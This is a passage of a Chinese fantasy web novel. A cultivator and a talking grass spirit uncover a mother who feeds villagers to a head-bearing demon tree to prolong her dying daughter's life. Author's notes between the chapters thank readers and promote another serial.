洛不觉伸手把燕黎舟往后拉了一点,防止整棵草掉进火堆里面。 “那陆乐水和司徒呢?” “他们还在村子里面。”洛不觉指腹揉去燕黎舟叶子上莫须有的灰。 后者抖了抖叶子,这几天已经习惯了这人时不时就动手动脚的行为。 “村子里的人好像把他俩当做自己人了。” 燕黎舟抬头,刚好被洛不觉揪着叶子提溜起来,指尖轻轻拍了下小草身上沾到的土,把他放在自己膝盖上,然后就继续拿木棍搅那堆火。 燕黎舟:“……” “啧。” 月亮已经登顶,周围十分安静,洛不觉隐匿了自己的气息进入村子里。 村子里几十户人家零散分布,唯有几家还亮着烛火。 燕黎舟抱着洛不觉的头发,随着洛不觉的目光扫看整个村子:“有什么发现吗?” “没有。”洛不觉道,他闪身来到一处燃着烛火的人家面前,越过那道篱笆,来到窗户底下。 房间内,司徒沃和陆乐水坐在床上,两个人面对面相视,谁也没开口。 洛不觉从窗户翻进去,屋内的两人看见洛不觉,几乎是一瞬间睁大眼睛。 “小……” 他看着洛不觉,下意识你脱扣,然后又猛地捂住自己的嘴巴,几秒后才慢慢道:“洛师叔?” “嗯。”洛不觉看着两人,“今天村子里有没有发生什么异常?” 旁边的司徒沃皱眉,好半天才摇了摇头,“村民们只是让我们帮忙种地,没有发现什么异常。” “还有您让我们重点关注的那个小女孩和女人,她们一整个白天都在屋子里没出来过。” 燕黎舟不明所以,感觉自己睡了一觉之后就融入不了他们了。 什么小女孩,什么女人? 洛不觉点了下头,这时,一阵急急忙忙的脚步声由远及近。 闪身躲在门后。 一个妇人打开门,笑着问司徒沃陆乐水,声音特别爽朗。 “小乐小沃,你们晚上想吃点啥啊?” “想吃啥跟嫂子说,没事,就把这儿当自己家!”—— 作者有话说:感谢一直看到现在的包子们,万字大章奉上[狗头叼玫瑰][狗头叼玫瑰] 么口,333! 第23章 司徒沃坐在床上, 旁边陆乐水疑惑地看了眼他。 “怎么了?”他以为对方是在担心要妖怪,拍了拍司徒沃的肩膀。 “别担心了,有师叔在呢, 再者, 还有我保护你呢。” 司徒沃只是笑了笑, 并没有接话, 他伸手摸了摸自己的后脑勺, 可能是那日受的伤太重了,头疼得厉害。 另一边, 燕黎舟坐在洛不觉肩膀上:“我们接下来干嘛去?” 洛不觉侧头看了眼坐在肩头的小草人:“等。” “等什么?” “等第二天早上。”洛不觉说着, 在燕黎舟震惊地目光下,逐渐换了副模样。 “洛不觉,你要用我的脸干什么!” 洛不觉顶着燕黎舟的脸, 盯着燕黎舟,后者被看得有些瘆人,整棵草往后挪了一步。 “干,干嘛?” 洛不觉将小草捧在手心, 面无表情问:“很像吗?” 燕黎舟顿了一下, 扭头不想看, 余光又悄悄瞥向他的“脸”。 “是我太帅了,洛不觉,你要是换个别人的脸我现在早就跳下去了。” 洛不觉弯了弯唇角,没说话。燕黎舟被他看得不再在, 看着自己的脸怎么看怎么别扭。 他伸出叶子揪了揪洛不觉身上的白色衣服,“啧。” “你有没有别的颜色?” 洛不觉思考了一下,周身气息环绕,一眨眼的功夫整个人就换了一套蓝色纹路, 只是大部分依旧是白色。 燕黎舟顿了一下,疑惑问:“这个衣服也是法术变得吗?” “不是。”洛不觉瞥了眼身上的衣服:“会随身带几套,外面没有我合适的成衣。” 燕黎舟脑海中莫名想到温泉的时候,脸一红,声音磕巴着挑三拣四:“还有没有其他颜色?” “没了。” “好吧好吧。”他一副很勉强的模样,只是在洛不觉的目光移开后,悄悄松了一口气。 洛不觉虽然嘴上说着“等”,但却带着燕黎舟来到一处房子面前。 “这是……”燕黎舟话还没说完,就听房子里面传来一阵小女孩开心的笑声,燕黎舟探头看过去。 房子内,一个小女孩和陈沉似乎在玩什么游戏,小女孩被逗得哈哈大笑,旁边还有个女人一边笑一边绣着手里的衣服。 不过令人诡异的是,小女孩抓着陈沉的手,嘴上甜甜地喊着“姐姐。” “姐姐,我们再来一次好不好。” 陈沉也笑着回答:“好呀,那花花这次先来好不好。” “好!” 洛不觉只是在外面默默听了一会儿,转身离开。 一转眼到了第二天早上。 洛不觉顶着燕黎舟的脸,光明正大地进入村子里,期间不断有村民朝他投来目光。 燕黎舟默默把自己缩回洛不觉衣服里。 很快,村长小跑着出来,搓着手:“请问您是?” 洛不觉:“路过,想借宿几晚。” “这,”村长闻言,思考了一下:“我是这个村子的村长,主要是我们村子上也没有客栈……” 洛不觉掏出来一个金锭,村长立马板起了脸,伸手推回去:“不用不用,我们村子里没啥贵重的。” “客人要是真想住,来我家吧,我家还空着一间。” 洛不觉手顿了一下,最终在村长拒绝的眼神下收回来金锭:“好。” 人群三三两两地看着这个出手阔气的客人,其中陆乐水和司徒沃也在里面。 陆乐水看见洛不觉,下意识道:“这个客人好眼熟,我们是不是在哪里见过?” 洛不觉跟着村长就要离开的脚步忽的一顿:“眼熟?” 陆乐水点点头,努力思考着自己是不是在哪里见过这个人,旁边司徒沃也有同样的感觉,但一边的村民闻言却笑了一声,心知肚明。 “小乐,你是不是又想偷懒?”一个汉子开口打趣道。 “就是啊,你从小搁隔壁村里长大,哪里去认识这样好看的人。” 旁边的一个婶子也嬉闹着开口。 “不是,我真的眼熟!”陆乐水炸毛,争辩着。 “我每天都有好好干活的好吧,哪里偷懒了!” 旁边司徒沃轻车熟路地在中间劝和:“好了好了,我也有同样的感受,感觉好像在哪里见过。” 陆乐水顿时像是有了撑腰的大人般:“是吧是吧!” 司徒沃又瞥了眼洛不觉扮的燕黎舟的脸:“不过应该是错觉,我们连村子都没出去过,哪里见得这样子的人。” 陆乐水也蔫巴下去:“说的也对。” 洛不觉垂眸和燕黎舟对视一眼,后者看见自己的脸的一瞬间,又别扭着低头。 “……” 村长这时出声:“好了,在客人面前吵吵闹闹,还拿客人开玩笑。” 他训斥了一番陆乐水,转头对着洛不觉道:“客人跟我来吧。” 村长把洛不觉安排好,就扛着锄头准备下地干活了,还让洛不觉不要拘束。 洛不觉探查了一下房间内的情况,没有妖怪的阴邪气息。 燕黎舟扯了扯洛不觉垂下来的头发:“司徒和陆乐水怎么回事?他们不认识我了?” 尽管“燕黎舟”的脸在洛不觉身上怪怪的,但他们两个也没理由不认识啊。还有什么在村子里从小长大的,什么情况? 洛不觉指尖轻轻抚过燕黎舟的叶片,目光扫过面前简陋的房间。 窗外的几个村民有意无意从村长家走来走去,眼角的余光若有似无地瞟向这边。 注意到洛不觉也在看他们,一个个的赶忙将视线收回去,一本正经的赶路。 “记忆被篡改了。”洛不觉的声音很低,“这个村子里的人应该也是,所以才会说出前后矛盾的话来。” “那还有办法恢复吗?”燕黎舟有些着急,万一这是不可逆的,那陆乐水和司徒两个人怎么办,陆乐水还天天在他面前吹嘘自己是天才,现在修行之路估计得重来了。 “还不确定。”洛不觉伸手关掉窗户,隔绝了外面的视线。 “头颅树没有这样的本事。” 洛不觉想到村民们护着的那个女人和小女孩。 “那我们怎么办?”燕黎舟蹙眉,原书中男主根本就没遇到这个剧情,整本书连提都没提。 他担心的事陆乐水和司徒沃也只是书中的一个小npc,万一除了什么事情,他们身上又没有主角光环。 他感觉自己这个穿书什么用都没有,剧情什么都完全错了。 洛不觉感受到燕黎舟的情绪低落,只揉了揉叶子。 傍晚,村长扛着锄头回来了,裤腿被撸在膝盖上,两条腿上沾着在地里干活留下的泥点。 他年纪大了,扛着锄头的步伐已经不太稳当了。 村长妻子是一个看起来瘦弱的妇人,端着簸箕从菜地里回来,开始生活做饭。 饭桌上,只有简单的一碟咸菜,一碟炒白菜,还有一小碗腊肉,大概是用来招待客人的。 村长热情地招呼洛不觉,两个人一问一答,当然洛不觉是答的那个。 村长问的也都是些无关紧要的问题,对洛不觉一身富贵却偏偏来到他们这偏僻的山村并不好奇。 燕黎舟缩在洛不觉衣服里,一动不动,扮演着一颗小草。 吃完饭,村长泡了一壶粗茶,和洛不觉坐在堂屋闲聊。天色渐暗,油灯被你点燃,昏黄的烛光在墙壁上投下晃动的影子。 “今天白天遇到的那两个孩子说是隔壁村来到?” 洛不觉提到了司徒沃和陆乐水,他观察者村长的神色。 村长吸了口自己手里的旱烟,听见洛不觉的问题,想了一下道:“他俩啊。” “他俩的那个村子出了瘟疫,这俩孩子一路逃过来的。” “都是可怜的。” 说着,村长吐烟的动作突然顿了一下,烟气模糊了他眼前的景物。 “哎,老婆子,瘟疫逃过来的人是小乐和小沃吧?” 旁边正在挑豆子的村长老婆一听,也“哎”了一声:“是吧,我记得……嘶!你这样一问我也有点不确定了。” “哎,记不得了,好长时间了,人老喽……”村长感叹道。 洛不觉聊完后并没有回到自己房间,而是转身朝着陆乐水和司徒沃的方向走。 “不管怎么样,他们两个不能再留在村子里了。” 燕黎舟“嗯”了一声,他重新爬上洛不觉的肩膀上。 谁也不知道他们两个人在村子里失忆症会不会更严重,确实应该先把他们俩带出去。 陆乐水和司徒沃看见白天的那个有钱客人来找自己,也很好奇,问找他们什么事。 洛不觉还没想好怎么不动用武力的情况下把两人带出村子,想了半天,燕黎舟看见洛不觉掏出来了个金腚。 “出村。” “……” “……” “……” 陆乐水看上去对这玩意丝毫不敢兴趣,甚至还有一点嫌恶,他抱着胸,“你说出去就出去,我凭什么要跟你出去?” “你以为谁都喜欢这玩意?” “小爷我就不喜欢。” 燕黎舟转头看向陆乐水:“……” 最终洛不觉还是动用了武力,一手一个,将两人扛着出了村子,找了个地方随意把两个人放下。 洛不觉指尖在两人身上点了两下,两人幽幽转醒,睁眼看见自己在一个荒郊野外。 陆乐水几乎是瞬间叫出声:“人牙子啊!” “jiu……唔唔唔!” 剩下的话没还没说出口就被洛不觉封了哑穴。 “你是什么人,你也不缺钱,绑我们想要什么!”司徒沃使劲,发现自己浑身没有力气,咬着牙问。 燕黎舟抬头看着洛不觉,只见这人顶着他的脸,一脸冷漠:“老实待着。” 燕黎舟也学着板了板脸,决心自己以后要少笑—— 作者有话说:感恩订阅[狗头叼玫瑰] 么么[饭饭][加一] 第24章 “唔唔唔唔!” 陆乐水挣扎着, 没想到这人长得人模人样的,居然是干这种勾当的! 燕黎舟看着天真的陆乐水,啧啧两声, 太可怜了。 “我去找花花。”洛不觉侧目看着燕黎舟道, 后者从洛不觉身上滑下去, 站在陆乐水头顶。 他挥了挥叶子:“我搁这看着他们俩!” 洛不觉顿了一下, 点头没说什么。 燕黎舟看着自己身下动不了的两个人, 舒服地翻了个腰。 总之有洛不觉在,应该也没什么需要他操心的。 “姐姐……姐姐……” 忽的一声孩子的童语在黑夜里传来, 燕黎舟一个激灵起身, 看着周围黑漆漆的一片,咽了口唾沫。 他叶子拍了拍屁股底下的陆乐水:“你有没有……听到什么声音?” 后者没有丝毫反应,专心和司徒沃琢磨着怎么把这绳子解开。 “别管那个了, 周围有东西!” 可回应他的只有陆乐水的“唔唔唔”,和司徒沃的“嗯嗯嗯”。 燕黎舟叶子狠狠拍了一下陆乐水的脑袋,转看着周围,叶子绷得死死的。 那道声音越来越近带着一种天真又执拗的感觉, 仿佛从四面八方传来, 又仿佛是直接在脑子里传来的, 特别瘆人,燕黎舟捂住耳朵也躲不开。 他转头,花花的身影措不及防出现在眼前,偏偏陆乐水和司徒沃还没有感受到。 燕黎舟瞪大眼睛, 被吓得喊都喊不出来。 花花伸手将燕黎舟整棵草握在手心:“会说话的草,妈妈要的就是你吧!” 燕黎舟倒吸一口气,叶子努力想要从花花的手里挣脱出去。 花花歪了歪头,她另一只手里抱着一个“球状”的东西, 离得近了,燕黎舟看清那玩意是个人头脑袋! “!!!” 燕黎舟尖叫,叶子乱挥:“啊啊啊啊洛不觉!” 他心里后悔,早知道就不因为害怕洛不觉遇到什么危险就偷懒,跟着一起去了。 “我要带你回去给妈妈!” 花花笑着蹦哒着离开,陆乐水环顾了一下四周,夜里有点冷啊。 …… 洛不觉甩了甩秋水剑,在他的面前,女人尖叫着,她身上气息爆起,怨毒的尖叫声像是要周围全部撕裂。 在她身后,一株形态诡异恐怖的巨树从地底下缓慢生长出来。 洛不觉眼神一冷,握着秋水剑的手紧了紧,二话不说就冲上去,照着头颅树就劈下去。 树上悬挂着的头颅齐齐转动,腐烂的眼窝死死盯着洛不觉。 “妈妈!我回来啦!” 战场上的两个人齐齐转头,花花攥着燕黎舟的那只手挥动着,一脸开心地跑过来。 洛不觉几乎是第一眼就看见燕黎舟,眸光一冷,提起秋水剑就朝着花花冲过去。 但离花花还有些距离的时候,面前突然出现了一个身影,双手挡在她们身前。 陈沉! 洛不觉手里的剑换了个方向,堪堪避开陈沉。 陈沉神色呆滞,在他身后,花花缩在女人的怀里。 “姐姐,他打伤了妈妈,我不喜欢他!” “姐姐帮你!” 陈沉的声音僵硬地响起,伸手直接抱住洛不觉的腿,洛不觉皱眉,面前的陈沉的身体已经全部被花花掌控了。 他用剑柄将陈沉打晕,再抬头看向花花和女人的时候,就这两三秒的时间,一直没动作的头颅树突然冲过来,洛不觉提剑抵挡。 趁着洛不觉被缠住的时候,藤蔓缠绕住花花的腰上,一把将花花抱住带离战场。 直到看着自己家乖乖身影消失,女人才转身看向洛不觉,整个人以一个不可思议的速度冲过去,皮肤迅速干瘪,好似枯死的老树皮。 “啊!” 就在这时,陆乐水和司徒沃出现在旁边,看着面前这副景象倒抽一口冷气。 陆乐水盯着女人变异后的非人模样,震惊。 这……这又是什么东西? 女人看见突然闯入的两人,和头颅树一人一妖对视一眼,藤蔓瞬间朝着两人冲过去,精准卷住两人的腰身,猛地将人举到半空。 洛不觉蹙眉,手里的剑改变方向去解救半空中的陆乐水两人,旁边女人眼中一闪,机会! 身影瞬间靠近洛不觉身前,枯树皮的手掌快得像是一道残影,五指像钩子一样冲向洛不觉的心口。 洛不觉猛地抬头,掌心凝聚起一团火焰,不断朝着女人攻击过去。 女人在拿到小草后却没有丝毫恋战,一个闪身躲在头颅树身后,不见了踪迹。 片刻之后,洛不觉看着地面上已经碎成渣渣的头颅树的树干尸体,没有发现女人的踪迹,手里一把火又将尸体烧了个干净。 燕黎舟醒来和女人对视一眼,吓了一跳。 这是谁,这是哪,洛不觉呢! 女人见叶子动了动,伸手,她是手掌还没有恢复,依旧是枯树木皮的模样。 “……” 他伸手戳了戳燕黎舟,旁边的花花忽然扯了扯她的衣服:“妈妈,姐姐怎么还不醒啊……” 女人转头,双手保住小女孩,看向晕倒的陈沉:“等一等,你陈见姐姐只是太累了。” 燕黎舟晃了晃叶子,想要趁着没人注意悄悄爬开,可没想到女人将他拿起来,对小女孩道:“你先出去,一会儿妈妈叫你。” “好!” 说完,小女孩伸手拉着陈沉的手一起出去了。 女人盯着手里的燕黎舟:“醒了?” 燕黎舟:“。” 不动 “我能听见你说话,想要回到你同伴身边吗?” “他会找到你的。”燕黎舟大着胆子开口。 女人身影缓慢变化,重新变回那个瘦弱妇女模样,一脸麻木:“我知道,但等他找到我,你也已经死了。” 说着她瞥了眼燕黎舟。 燕黎舟:“……” 女人:“我不会杀你,只要你帮我一个忙。” 不等燕黎舟问什么忙,她自顾自道:“我女儿只有一年的寿命了,我只想让她活下去。” 燕黎舟闻言有些懵,和他说干嘛,他也不会啊,他自己连变成人都没有办法。 不过面上还是强装镇定。 “你是草妖,头颅树可以借你的寿命给我的乖乖。” “???”镇定不了了! 他看着面前的女人,笑着商量:“换个人呢,你知道刚刚那个男人吧,他比我厉害,你找他呢?” 女人盯着他:“他厉害,我打不过。” “……” “村子里那些人死亡都是你做的?”燕黎舟问。 “嗯,”女人转头看向外面的小女孩,“我家乖乖要活下去,只能对不起她们了。” “头颅树要她们的心脏才愿意给我乖乖续命,我没办法,我对不起她们,但我要我家乖乖活下去。” “那孩子呢?沉沉?”燕黎舟继续问。 女人看着外面小女孩和陈沉玩的不亦乐乎,也跟着笑。 “我家乖乖那么难受,他们还欺负嘲笑乖乖,我只是给他们一个教训。沉沉……” 女人没说话,伸手把小女孩招呼进来,旁边跟着陈沉,她伸手将燕黎舟绑在小女孩身上,顺手拍了拍。 叮嘱小女孩:“妈妈出去一趟,你千万不要把小草给丢掉啊,也不要出房间,妈妈不喊你你千万不要出来,听见没?” “好的妈妈!”小女孩答应得干脆。 燕黎舟被绑在小女孩手腕上,看着女人背影消失。 燕黎舟晃了晃叶子,开始忽悠小女孩:“你好~” 小女孩瞅了瞅四周,瘪嘴,盯着手腕上会说话的小草:“我不好。” “妈妈都不陪我了,姐姐也不说话……” 她絮絮叨叨说着自己不开心的地方,看着面前的陈沉,晃了晃胳膊。 “小草,你会不会玩一二三木头人?” 燕黎舟没回答,叶子悄悄贴上探上小女孩的皮肤,身体内之前洛不觉的探灵法术还没有消失。 又是一阵天旋地转后,燕黎舟感觉自己马上要吐出来的时候,面前景色终于变了。 女人跪伏在头颅树下,闭着眼,双手合十在胸前,声音虔诚却又颤抖着道。 “神啊,求您,让我的女儿活下来吧,您要什么我都可以给您!” 树上所有的人头齐刷刷地盯着她,叶子动了动,一根藤蔓缓缓垂下,末端挂着的一块红色牌子,在黑夜里轻轻晃荡。 【许愿,许愿就什么都有了。】 燕黎舟,或者是花花,站在不远处的树后面,将这一切都听了个正着。 她看着女人,学着妈妈的模样,也双手合十,对着那棵挂满人头的怪树,稚嫩的声音缓缓道。 “我想要……镇上所有人都陪我玩!” 花花的愿望像是一滴水进入了油锅里,头颅树上,那些悬挂着的人头几乎是同时咧开了嘴,无声地大笑。 暗红的木牌分裂成两块,“咔哒”“咔哒”碰撞出清脆的声音。 树下女人猛地朝四周看,看到树影下的女人,脸上唰的一下惨白。 “花花!不可以,等等!我的花花!” 但此时已经晚了。 一股又一股白色的丝线从花花的身体内往外延伸,笼罩住整个村子。 燕黎舟感觉自己胸口痛的厉害,像是全身的筋骨被硬生生抽离出去一样。 花花小小的身体撑不住,整个人倒在地上,女人见状疯了一样想要冲过来抱住她的孩子,可是她体内的生命力也在被头颅树吞噬。 不知道过去了多久,久到燕黎舟浑身都痛到没有知觉了,花花这才终于爬起来,小小的人儿一步一步走到妈妈身边。 “妈妈……” 就在这时,很多的吵闹声突兀地从远处响起来。 孩童尖利的嬉笑,女人高亢的聊谈,男人粗矿的呼喝…… 混合在一起从四面八方涌来。 “啦啦啦……来玩呀……” “躲好了吗?我来找喽!” “这边,快来这边!” 花花的眼睛亮了起来,那群人身后都有一根白丝,然后连接着她的身体。 她好像没看见般,双手握住妈妈的手,脸上绽开笑容:“妈妈,你看!镇上的人都来找我玩了!” “我们不用再躲了!”—— 作者有话说:七夕快乐宝贝[狗头叼玫瑰] 推一推自己! 主页同系列古耽文——《反派他总试图掰弯男主》 妄图把死对头(龙傲天男主幼体)掰弯 文案∶ 咸鱼穿成结局凄惨的反派BOSS怎么办? 系统要求落忘调戏女主走剧情,落忘反手绑了男主白月光师尊。 易容并且取而代之,美名其日近水楼台先得月,早些磨炼男主早些成神。 男主∶“师尊,我有哪里不讨您喜欢吗?” 落忘嘴上∶“你有什么能让我喜欢的?” 背地里半夜翻进房间偷窥洗澡,边看边竖大拇指,衷心夸赞∶不愧是男主,身材条件什么的,都是顶级。 五门会比中,魔族混乱入境,仙门百家弟子被迫进入秘境,生死不保。 反观男主这边—— 百年妖兽爆出万年魂丹,满地的仙草可以帮助其塑骨筑气,入定休息时周身灵气莫名浓郁的堪比水雾。 其他人∶“?” 男主看着自己还没开始打,就横了一地的妖兽尸体∶“……” 落忘就站在这堆尸体中间的一块干净空地,笑的温柔∶“小友是遇到什么困难了吗?” 看着眼前长相不同,腰间却配着自己“师尊”储物袋的人。 男主∶“……” 别人穿书战战兢兢走剧情,落忘仗着武力值把正道男主拴在床头当猫养,手撕男主剧本,气的系统崩溃大喊说好的走剧情呢? 落忘优雅翘起二郎腿:走了啊,调戏主角,是男主还是女主有那么重要吗? 求收藏![星星眼][星星眼][星星眼] 点击主页「收藏作者」,可以点亮属于你和我的专属星星哦![星星眼][彩虹屁] 第25章 突然, 画面又转。 他躲在女人后面,或者说是这个小女孩躲在妈妈后面,看着村子里来的两个陌生人。 陆乐水看见小女孩, 很开心地打了个招呼, 小女孩却是受到了什么惊吓, 怯懦地往妈妈身后藏了藏。 旁边有经过的村民, 看见女人和小女孩, 肩膀上的锄头还来不及放下就道:“你们出来干什么!” “这不是祸害人吗!当时是你们信誓旦旦跟村长说只要一个住的地方,不会出来找麻烦, 现在是干什么!” 燕黎舟皱眉, 这时一个站在司徒沃和陆乐水前面的女孩跑过来。 “陈伯伯!”她蹲下身拉住花花的手:“人哪能一直待在房子里面啊,再说了,要是有事早就有了, 怎么可能到现在还没有事!” “下次不要再这样了!” 被称作“陈伯伯”的那个村民:“陈见啊,这不是陈伯伯说你,这都是有潜伏期的!你赶紧离这两个人远点吧!” “好啦陈伯伯!你看我现在都没有事吧,您快下地去吧, 一会大哥该等急了。” “哎!等真有事了你后悔都完了!”陈伯伯不争气地看着陈见, 摇着头叹气扛着锄头走开。 其余村民都离好远, 避开着走。 花花小手紧紧攥住女孩的衣服:“陈见姐姐。” 她看着避她们如蛇蝎的村民,还带着婴儿肥的脸鼓鼓的,村民们本来还很恐惧,不知道为什么, 突然齐齐挠了挠头。 “花花~这是婶子刚买的吃的,你吃!” 旁边离得最近的一个妇人从自己挎着的篮子里摸出来个被包的严严实实的东西,笑着递给花花。 花花松开陈见的手,接过来弯了弯眼睛:“谢谢婶子!” 周围还没散开的村民见状, 都夸赞起花花是个有礼貌的娃。 陈见等到花花抱着刚刚那个妇人给的东西,小跑到他身边,又笑着牵起花花的手,给司徒沃和陆乐水介绍:“这是花花。” 然后又蹲下来对花花介绍道:“花花,这是来帮我们除妖的仙长哥哥。” “仙长哥哥。” 陆乐水不知道发生了什么,但还是开心地从司徒沃那拿来一颗糖塞进花花掌心,几人还算是其乐融融。 一边魂魄形态的燕黎舟揉着自己的胸口,刚刚一下突然好疼,快的像是错觉。 面前画面像是被人摁了倍速键,时间很快来到晚上。 陈嫂子家里。 燕黎舟看见头颅树狰狞的藤蔓缠住陆乐水和司徒沃的脖颈和四肢,两人被吊离地面,双手死死扣着缠绕在脖子上的藤蔓,五官扭曲,发不出半点呼救的声音。 旁边,陈见和陈沉急得团团转,陈沉小声喊着花花,想要过来拉住“燕黎舟”的手。 陈见则抄起一根竹竿,胡乱地抽打着那些藤蔓,想把陆乐水和司徒沃救出来。 藤蔓拉着他们两个人很快就不见了踪影,陈见想追上去,可面前突然出现一个干瘪的人头,嘴巴大张着朝她冲过来。 血迹喷溅出来。 眨眼间陈见就被它吸成一张人皮,婴儿大小的头颅从陈见的嘴巴里滚出来,干枯的脑袋粘满了红色的液体,流露出满足的神色。 人皮塌陷下去,里面还有一堆粘稠的红色血液,缓慢地流出来。 一旁的燕黎舟捂住嘴巴,被自己口水呛到了,咳嗽个不停,时不时还发出恶心的干呕声。 陈沉眼睁睁看着这一幕,瞪大眼睛,嘴里不断喊着“姐姐”,但脚下像是灌了铅,害怕地盯着那颗神色餍足的脑袋。 花花就站在几步之外,歪着小脑袋,嘴巴里还含着陆乐水白天给她的那颗糖果。 陈沉没注意,只是嘴里不断重复:“花花,快跑,快……” 女人无声无息地出现在花花旁边,她抱起花花。 后者抬起头,口齿不清地嘟囔:“妈妈,我想要陈见姐姐。” 女人瞥了眼被吓傻了的陈沉和地面上陈见的人皮,笑着开口:“好啊,妈妈把你陈见姐姐塞到沉沉哥哥的身体好不好?这样你就可以同时和他们两个一起玩啦。” 花花的眼睛瞬间亮了,燕黎舟看着花花拍着手,挣脱女人的怀抱,蹦跳着牵起陈沉冰冷的手:“好啊好啊,我要跟你们一起玩!” 燕黎舟还没从这个画面里面出来,下一秒又看见自己的身影出现在面前。 花花捧着一堆糖块,旁边女人把手里昏迷不醒的司徒沃丢在一旁,最后一棵糖放在花花掌心。 女人盯着远处的燕黎舟,一根黑漆漆的藤蔓在司徒沃被丢下来的时候就将人迅速卷着逃走。 她揉着花花的脑袋,转头对手心里的一个人头问:“是他吗?” 人头缓慢地点了两下。 花花开心地拆开一颗糖放进嘴里,一脸幸福。 这是女人蹲下身:“花花,一会儿你就撞到那个哥哥身上,知道吗?” “没事的,不会太疼的。” 花花歪着脑袋,不明白为什么要这样,但还是点头:“嗯!” 女人轻声哄:“到时候你就和那个人说几句话就看,这样妈妈就可以让你活很长很长时间了!” 花花不理解“活很长很长”是多长时间,但妈妈说的她都会听。 燕黎舟怔愣地听着母女的对话,所以说,那时候他装的人是花花吗,但为什么他不记得了? 是花花吗,是个小女孩吗,是个小孩子吗…… 紧接着燕黎舟看到花花按照妈妈说的话,装上了“燕黎舟”,在他和花花聊天的时候,“燕黎舟”的背后,一个藤蔓缓慢地靠近了他。 黑漆漆的藤蔓这时变得很锋利,缠绕上“燕黎舟”垂落下来的发丝,割了下来。 “燕黎舟”毫无察觉,转身进屋后,花花回到女人身边,女人揉了揉花花的脑袋:“谢谢花花。” “不客气妈妈!” 花花像是得了什么勋章似的,捧着那堆刚从地上捡起来的糖块,开心地立正身子。 黑漆漆的藤蔓卷着燕黎舟的黑发,女人将那一小撮头发握在手心。 另一只手揉着花花:“花花乖!” “草妖的头发拿到了,那些养肥的人都杀了吧,今晚我就要给我的乖乖续命!” 燕黎舟看到现在已经说不出一句话了,他盯着自己那被女人死死攥在手里的头发,胸口的疼痛的感觉越来越剧烈。 接下来,他看见在洛不觉和他去挖坟的时候,头颅树和女人一个个将所有的村民杀死,没放过一个。 鲜血在喷溅出来的瞬间被藤蔓吞噬掉,意犹未尽,燕黎舟站在旁边,干看着这一幕,什么都做不了,偶尔有红色的鲜血溅出,却也是直直传过燕黎舟透明的身体。 花花的性命只续了一年,燕黎舟看到现在已经麻木,浑身上下都在疼,这是探灵能力的副作用。 那么多人……只能续一年? 他浑身上下像是要散架了一般,脑袋疼,胸口疼,腿疼,手疼…… 村子的外面依旧和平,房子里面却全是血迹。 女人抬头看向远处,旁边一直看着的花花坐在高处晃着脚,瘪嘴:“妈妈,他们不能陪我玩了吗?” “可以啊。” 女人擦掉自己身上沾染的血迹。 “只要你想,他们都可以陪你玩,他们只是在和你玩躲猫猫。” “花花千万不要哭哦!” “不信你闭上眼睛。” 小女孩闭上眼睛,下一秒,女人将村民们的脑袋割下来。 她将脑袋种在土里,几秒钟的时间久从地面发芽,长出一棵又一棵头颅树,上面只有一个被埋起来的挨个脑袋, 树干缓缓化形成身体,然后变成村民们的模样。 燕黎舟眼前意识有些模糊,他感觉自己的精神已经撑不住了,可他却没办法晕过去,只能盯着眼前的画面。 他看着小女孩看到出现的村民们,开心地拍手笑,而不远处的他们这个时候还在挖司徒和陆乐水…… 女人拍了拍花花的肩膀:“回去睡觉,妈妈还有事。” “好!”花花开心应道。 然后燕黎舟看着女人朝着村外的坟墓位置走去,背影逐渐揉进夜色,消失不见。 “燕黎舟!” 忽的一声低喝,燕黎舟意识清醒起来,他看着周围的画面离他越来越远,逐渐模糊成一团迷雾,鼻尖一酸—— 作者有话说:么么,这章有点压抑,马上更下一章! 感谢包子们观看! 爱你们~[亲亲] 第26章 燕黎舟头痛得厉害, 在睁眼的瞬间他又回到了现实,花花低着头盯着手腕上妈妈给绑上的草环。 声音很高兴。 “妈妈说,只要有了你, 我就可以和妈妈一起生活好久了!” “小草小草!你是我和妈妈的福星!” “小草, 妈妈出去了, 我们一起玩吧~” “我们一起等妈妈回来吧!” …… “轰!” 外面突然一声巨响伴随着剧烈的灵力波动从屋外传来, 花花小小的身子踉跄了一下, 抬头跑向门口看向外面。 “我打不过你,但也无意骚扰, 今日我乖乖安然无事后, 我愿意随仙长回到宗门监禁。” “只求仙长给我一日时间。” 院子里一片狼藉,洛不觉手里拿着剑,并没有因为女人的这一句话而停下来。 “我的草呢!” 女人悬浮在半空中, 背后的藤蔓张牙舞爪,一个不留意自己最粗壮的藤蔓被秋水剑斩断,掉在地上洛不觉看了一眼,并没有再生。 女人闷哼一声, 身字摇晃了两下, 勉强稳住, 脸色又白了几分。 “仙长……”声音有些急促,她没想到对方连谈的机会都不给。 “那草是妖怪,我是人,我乖乖也是人, 拿那草妖的几十年寿命换我乖乖的命,不亏!” 女人遭受不住洛不觉的攻击,狼狈的跌落在地,吐出一口血, 抬头看向步步紧逼的洛不觉,试图跟他讲道理。 “仙长!你不是修仙者吗!为了一个妖怪,你要杀人吗!” 洛不觉的攻击慢下来,女人眼见着有望,强撑着自己的身体。 “仙师……头颅树可以再生,种子只有我知道在什么地方!” 看着洛不觉停下了攻击,女人终于喘了一口气:“我只求仙长宽恕一日,一日后,我自缚双手!奉上种子,将那草妖还给仙长,随您回宗门领罪。” 洛不觉最终停在她几步之外,他缓缓抬起手臂,剑尖指向女人的眉心,周身剑气环绕,无形的压力让女人感受到呼吸困难。 “草,在哪?” 女人双手握拳,心口发闷:“你……” “妈妈……” 就在这时,花花从门后出来,一路小跑到女人面前。 洛不觉拿着剑的手一顿,在小女孩出现之后周身的气压瞬间收敛了大半。 他一眼就看见了花花手腕上环绕着的燕黎舟。 女人的心提到了嗓子眼,朝着花花大神喊:“妈妈不是说不要出来吗!” 花花不知道具体发生了什么,但看着妈妈身上的伤口,乌黑的眼睛里瞬间蓄满泪水。 “妈妈……” 女人连忙伸手:“妈妈在……乖乖!” 洛不觉伸手,秋水剑指着花花,还没有动作,女人就怒吼一声,她想要冲过去护住自己的女儿,但母子俩之间好像有一层屏障给两人隔开。 花花眼泪止不住往下掉,女人看着心里一阵抽抽,伸手,掌心搁着屏障捂住花花的眼睛,小声哄道:“乖乖,别哭了,不要哭,千万不要哭!” 洛不觉想要伸手将燕黎舟拿回来,却见小草周围围绕着黑气,这是绑定气息,只有绑定的主人能解开。 这是为了防止在死后被人捡走自己的东西出现的术法。 如果要强行从花花身上把燕黎舟弄下来,很有可能燕黎舟会受伤。 女人转头看向洛不觉,也知道自己没有办法再藏住那个草妖,咬了咬牙。 她深吸一口气谈判道:“仙师,我可以把草妖给你。” “放我乖乖走!” 